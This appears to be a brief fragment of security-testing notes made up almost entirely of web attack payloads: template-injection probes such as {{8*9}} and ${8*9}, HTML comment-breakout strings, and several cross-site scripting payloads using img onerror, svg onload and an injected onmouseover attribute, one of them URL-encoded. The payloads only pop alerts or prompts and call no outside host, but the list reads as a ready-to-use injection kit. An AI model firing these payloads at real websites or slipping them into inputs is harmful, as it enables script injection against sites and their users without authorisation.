In a little more detail...

{{8*9}} {8*9} ${8*9}"> %%=Uppercase("injection")=%%
<--`%20--!>
<--`%20--!>

%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E

"><svg/onload=onerror=prompt(1);>
<img src=x onerror=alert(1)>

"onmouseover="alert(document.domain)